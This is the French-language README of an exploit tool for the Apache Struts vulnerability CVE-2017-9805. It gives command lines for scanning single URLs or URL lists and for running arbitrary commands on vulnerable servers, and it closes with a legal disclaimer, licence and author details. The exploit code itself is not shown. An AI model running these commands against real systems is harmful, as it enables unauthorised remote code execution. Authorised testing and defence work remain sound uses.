apache-struts-pwn - Exploit CVE-2017-9805

Un exploit pour Apache Struts CVE-2017-9805

Utilisation

Vérifier si la vulnérabilité existe sur une seule URL.

python apache-struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

Vérifier si la vulnérabilité existe sur une liste d'URL.

python apache-struts-pwn.py --list 'urls.txt'

Exploiter une seule URL.

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

Exploiter une liste d'URL.

python apache-struts-pwn.py --exploit --list 'urls.txt' -c 'echo test > /tmp/apache-struts-pwn'

Prérequis

• Python2 ou Python3
• requests

Avertissement légal

Ce projet est conçu à des fins éducatives et de test éthique uniquement. L'utilisation de struts-pwn pour attaquer des cibles sans consentement mutuel préalable est illégale. Il incombe à l'utilisateur final de respecter toutes les lois locales, nationales et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.

Licence

Le projet est sous licence MIT.

Auteur

Mazin Ahmed

• Site web : https://lonerangerweb.wordpress.com/
• E-mail : ultimate31337[AT]gmail[DOT]com
• Twitter : https://twitter.com/lon3_rang3r